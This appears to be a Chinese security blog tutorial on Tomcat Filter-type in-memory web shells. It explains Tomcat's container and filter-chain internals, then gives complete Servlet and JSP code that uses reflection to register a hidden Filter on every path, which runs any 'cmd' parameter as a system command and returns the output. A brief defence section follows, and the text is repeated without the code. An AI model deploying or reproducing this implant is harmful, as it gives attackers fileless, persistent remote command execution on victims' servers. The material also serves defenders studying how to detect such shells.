Java Filter型 Tomcat内存马
字数 2278 2025-08-20 18:18:10

Tomcat Filter型内存马原理与实现详解

一、Tomcat架构概述

要理解Tomcat内存马的实现,必须首先了解Tomcat的整体结构与请求处理机制。

Tomcat顶层结构

  1. Server组件:代表Tomcat运行的实例,一个JVM中只包含一个Server
  2. Service组件:一个Server下可包含多个Service,每个Service包含:
    • 多个Connector(接收消息)
    • 一个Engine(处理请求)
  3. Connector:负责接收客户端请求
    • HTTP Connector:默认8080端口,处理HTTP请求
    • AJP Connector:默认8009端口,处理其他WebServer的代理请求
  4. Engine:处理接收的请求,可配置多个虚拟主机(Host)
  5. Host:虚拟主机,代表一个域名
  6. Context:对应一个Web应用,包含多个Servlet

请求处理流程

  1. 请求到达Tomcat,Service交给Connector处理
  2. Connector将请求封装为Request和Response对象
  3. 封装后的请求交给Container处理
  4. Container处理完成后返回给Connector
  5. Connector通过Socket将结果返回客户端

Container处理细节

Container内部包含4个子容器,处理流程为:

  1. Connector调用最顶层容器(Engine)的Pipeline处理
  2. Engine管道依次执行EngineValve1、EngineValve2等,最后执行StandardEngineValve
  3. StandardEngineValve调用Host管道,依次执行HostValve1、HostValve2等,最后执行StandardHostValve
  4. 依次调用Context管道和Wrapper管道,最后执行StandardWrapperValve
  5. StandardWrapperValve创建FilterChain并调用其doFilter方法处理请求

二、Filter机制分析

Filter基本概念

Filter是Servlet规范中的过滤器,可以在请求到达Servlet前进行预处理。多个Filter可以组成Filter链,按配置顺序依次执行。

Filter执行流程

  1. 请求到达StandardWrapperValve
  2. 创建ApplicationFilterChain
  3. 调用ApplicationFilterChain的doFilter方法
    • doFilter调用internalDoFilter
    • internalDoFilter获取并执行配置的Filter
  4. 所有Filter执行完毕后,请求到达Servlet

FilterChain创建过程

  1. StandardWrapperValve.createFilterChain()方法:
    • 获取StandardContext对象
    • 通过findFilterMaps获取所有Filter映射
    • 匹配URL映射关系
    • 将匹配的Filter信息存入filterConfig
    • 通过filterChain.addFilter(filterConfig)添加到FilterChain

三、Filter内存马实现原理

要实现Filter内存马,需要:

  1. 获取当前应用的StandardContext对象
  2. 获取filterConfigs映射表
  3. 实现自定义的恶意Filter对象
  4. 创建FilterDef对象并配置
  5. 创建FilterMap对象并设置拦截路径
  6. 将FilterDef、FilterMap和FilterConfig添加到相应容器

关键步骤详解

  1. 获取StandardContext

    • 通过ServletContext → ApplicationContext → StandardContext链式获取
    • 需要反射突破访问限制
  2. 创建恶意Filter

    • 实现Filter接口
    • 在doFilter方法中植入恶意代码(如命令执行)
  3. 配置FilterDef

    • 设置Filter实例、名称和类名
    • 通过StandardContext.addFilterDef()添加
  4. 配置FilterMap

    • 设置URL匹配模式("/*"匹配所有路径)
    • 设置Filter名称
    • 设置DispatcherType
    • 通过StandardContext.addFilterMapBefore()添加
  5. 创建FilterConfig

    • 反射创建ApplicationFilterConfig实例
    • 将配置添加到filterConfigs映射表

四、完整实现代码

Servlet实现方式

public class AddTomcatFilter extends HttpServlet {
    @Override
    protected void doPost(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
        try {
            String name = "cmdFilter";
            // 获取ServletContext
            ServletContext servletContext = req.getSession().getServletContext();
            
            // 获取ApplicationContext
            Field appctx = servletContext.getClass().getDeclaredField("context");
            appctx.setAccessible(true);
            ApplicationContext applicationContext = (ApplicationContext) appctx.get(servletContext);
            
            // 获取StandardContext
            Field stdctx = applicationContext.getClass().getDeclaredField("context");
            stdctx.setAccessible(true);
            StandardContext standardContext = (StandardContext) stdctx.get(applicationContext);
            
            // 获取filterConfigs
            Field Configs = standardContext.getClass().getDeclaredField("filterConfigs");
            Configs.setAccessible(true);
            Map filterConfigs = (Map) Configs.get(standardContext);
            
            if (filterConfigs.get(name) == null) {
                // 创建恶意Filter
                Filter filter = new Filter() {
                    @Override
                    public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
                        HttpServletRequest req = (HttpServletRequest) servletRequest;
                        if (req.getParameter("cmd") != null) {
                            // 命令执行逻辑
                            String cmd = req.getParameter("cmd");
                            String[] commands = System.getProperty("os.name").toUpperCase().contains("WIN") 
                                ? new String[]{"cmd", "/c", cmd}
                                : new String[]{"/bin/sh", "-c", cmd};
                            
                            String charset = System.getProperty("os.name").toLowerCase().contains("window") ? "GBK" : "UTF-8";
                            Scanner scanner = new Scanner(Runtime.getRuntime().exec(commands).getInputStream(), charset).useDelimiter("\\A");
                            String output = scanner.hasNext() ? scanner.next() : "";
                            
                            servletResponse.getWriter().println(output);
                            return;
                        }
                        filterChain.doFilter(servletRequest, servletResponse);
                    }
                    // 其他Filter方法...
                };
                
                // 创建并配置FilterDef
                FilterDef filterDef = new FilterDef();
                filterDef.setFilter(filter);
                filterDef.setFilterName(name);
                filterDef.setFilterClass(filter.getClass().getName());
                standardContext.addFilterDef(filterDef);
                
                // 创建并配置FilterMap
                FilterMap filterMap = new FilterMap();
                filterMap.addURLPattern("/*");
                filterMap.setFilterName(name);
                filterMap.setDispatcher(DispatcherType.REQUEST.name());
                standardContext.addFilterMapBefore(filterMap);
                
                // 创建FilterConfig并注册
                Constructor constructor = ApplicationFilterConfig.class.getDeclaredConstructor(Context.class, FilterDef.class);
                constructor.setAccessible(true);
                ApplicationFilterConfig filterConfig = (ApplicationFilterConfig) constructor.newInstance(standardContext, filterDef);
                filterConfigs.put(name, filterConfig);
                
                resp.getWriter().print("Inject Success !");
            }
        } catch (Exception e) {
            e.printStackTrace();
        }
    }
}

JSP实现方式

<%@ page import="org.apache.catalina.core.*, java.lang.reflect.*, org.apache.tomcat.util.descriptor.web.*, java.util.*, java.io.*" %>
<%
    final String name = "evil";
    // 获取StandardContext
    ServletContext servletContext = request.getSession().getServletContext();
    Field appctx = servletContext.getClass().getDeclaredField("context");
    appctx.setAccessible(true);
    ApplicationContext applicationContext = (ApplicationContext) appctx.get(servletContext);
    
    Field stdctx = applicationContext.getClass().getDeclaredField("context");
    stdctx.setAccessible(true);
    StandardContext standardContext = (StandardContext) stdctx.get(applicationContext);
    
    // 获取filterConfigs
    Field Configs = standardContext.getClass().getDeclaredField("filterConfigs");
    Configs.setAccessible(true);
    Map filterConfigs = (Map) Configs.get(standardContext);
    
    if (filterConfigs.get(name) == null) {
        // 创建恶意Filter
        Filter filter = new Filter() {
            public void doFilter(ServletRequest req, ServletResponse res, FilterChain chain) throws IOException, ServletException {
                String cmd;
                if ((cmd = req.getParameter("cmd")) != null) {
                    // 命令执行逻辑
                    Process p = Runtime.getRuntime().exec(cmd);
                    BufferedReader br = new BufferedReader(new InputStreamReader(p.getInputStream()));
                    StringBuilder sb = new StringBuilder();
                    String line;
                    while ((line = br.readLine()) != null) {
                        sb.append(line).append("\n");
                    }
                    res.getWriter().write(sb.toString());
                    return;
                }
                chain.doFilter(req, res);
            }
            // 其他Filter方法...
        };
        
        // 配置FilterDef
        FilterDef filterDef = new FilterDef();
        filterDef.setFilter(filter);
        filterDef.setFilterName(name);
        filterDef.setFilterClass(filter.getClass().getName());
        standardContext.addFilterDef(filterDef);
        
        // 配置FilterMap
        FilterMap filterMap = new FilterMap();
        filterMap.addURLPattern("/*");
        filterMap.setFilterName(name);
        filterMap.setDispatcher(DispatcherType.REQUEST.name());
        standardContext.addFilterMapBefore(filterMap);
        
        // 创建并注册FilterConfig
        Constructor constructor = ApplicationFilterConfig.class.getDeclaredConstructor(Context.class, FilterDef.class);
        constructor.setAccessible(true);
        ApplicationFilterConfig filterConfig = (ApplicationFilterConfig) constructor.newInstance(standardContext, filterDef);
        filterConfigs.put(name, filterConfig);
        
        out.println("Injected Successfully!");
    }
%>

五、防御措施

  1. 代码层面

    • 避免使用反射修改Tomcat内部对象
    • 对Filter的添加进行权限控制
  2. 检测层面

    • 监控web.xml之外的Filter添加
    • 检查StandardContext中的filterConfigs
    • 检测异常的Filter类
  3. 运行时防护

    • 使用安全管理器限制反射
    • 部署RASP解决方案
  4. 运维层面

    • 定期检查Tomcat内存中的Filter列表
    • 监控不寻常的URL访问模式

六、总结

Tomcat Filter内存马通过动态添加恶意Filter实现持久化控制,具有以下特点:

  1. 无文件落地,直接驻留内存
  2. 高隐蔽性,不修改web.xml
  3. 通过标准Filter机制实现,兼容性好
  4. 拦截所有请求,控制力强

理解其原理有助于安全人员更好地防御此类攻击,同时也提醒开发者Filter机制的安全重要性。

Tomcat Filter型内存马原理与实现详解 一、Tomcat架构概述 要理解Tomcat内存马的实现,必须首先了解Tomcat的整体结构与请求处理机制。 Tomcat顶层结构 Server组件 :代表Tomcat运行的实例,一个JVM中只包含一个Server Service组件 :一个Server下可包含多个Service,每个Service包含: 多个Connector(接收消息) 一个Engine(处理请求) Connector :负责接收客户端请求 HTTP Connector:默认8080端口,处理HTTP请求 AJP Connector:默认8009端口,处理其他WebServer的代理请求 Engine :处理接收的请求,可配置多个虚拟主机(Host) Host :虚拟主机,代表一个域名 Context :对应一个Web应用,包含多个Servlet 请求处理流程 请求到达Tomcat,Service交给Connector处理 Connector将请求封装为Request和Response对象 封装后的请求交给Container处理 Container处理完成后返回给Connector Connector通过Socket将结果返回客户端 Container处理细节 Container内部包含4个子容器,处理流程为: Connector调用最顶层容器(Engine)的Pipeline处理 Engine管道依次执行EngineValve1、EngineValve2等,最后执行StandardEngineValve StandardEngineValve调用Host管道,依次执行HostValve1、HostValve2等,最后执行StandardHostValve 依次调用Context管道和Wrapper管道,最后执行StandardWrapperValve StandardWrapperValve创建FilterChain并调用其doFilter方法处理请求 二、Filter机制分析 Filter基本概念 Filter是Servlet规范中的过滤器,可以在请求到达Servlet前进行预处理。多个Filter可以组成Filter链,按配置顺序依次执行。 Filter执行流程 请求到达StandardWrapperValve 创建ApplicationFilterChain 调用ApplicationFilterChain的doFilter方法 doFilter调用internalDoFilter internalDoFilter获取并执行配置的Filter 所有Filter执行完毕后,请求到达Servlet FilterChain创建过程 StandardWrapperValve.createFilterChain()方法: 获取StandardContext对象 通过findFilterMaps获取所有Filter映射 匹配URL映射关系 将匹配的Filter信息存入filterConfig 通过filterChain.addFilter(filterConfig)添加到FilterChain 三、Filter内存马实现原理 要实现Filter内存马,需要: 获取当前应用的StandardContext对象 获取filterConfigs映射表 实现自定义的恶意Filter对象 创建FilterDef对象并配置 创建FilterMap对象并设置拦截路径 将FilterDef、FilterMap和FilterConfig添加到相应容器 关键步骤详解 获取StandardContext : 通过ServletContext → ApplicationContext → StandardContext链式获取 需要反射突破访问限制 创建恶意Filter : 实现Filter接口 在doFilter方法中植入恶意代码(如命令执行) 配置FilterDef : 设置Filter实例、名称和类名 通过StandardContext.addFilterDef()添加 配置FilterMap : 设置URL匹配模式("/* "匹配所有路径) 设置Filter名称 设置DispatcherType 通过StandardContext.addFilterMapBefore()添加 创建FilterConfig : 反射创建ApplicationFilterConfig实例 将配置添加到filterConfigs映射表 四、完整实现代码 Servlet实现方式 JSP实现方式 五、防御措施 代码层面 : 避免使用反射修改Tomcat内部对象 对Filter的添加进行权限控制 检测层面 : 监控web.xml之外的Filter添加 检查StandardContext中的filterConfigs 检测异常的Filter类 运行时防护 : 使用安全管理器限制反射 部署RASP解决方案 运维层面 : 定期检查Tomcat内存中的Filter列表 监控不寻常的URL访问模式 六、总结 Tomcat Filter内存马通过动态添加恶意Filter实现持久化控制,具有以下特点: 无文件落地,直接驻留内存 高隐蔽性,不修改web.xml 通过标准Filter机制实现,兼容性好 拦截所有请求,控制力强 理解其原理有助于安全人员更好地防御此类攻击,同时也提醒开发者Filter机制的安全重要性。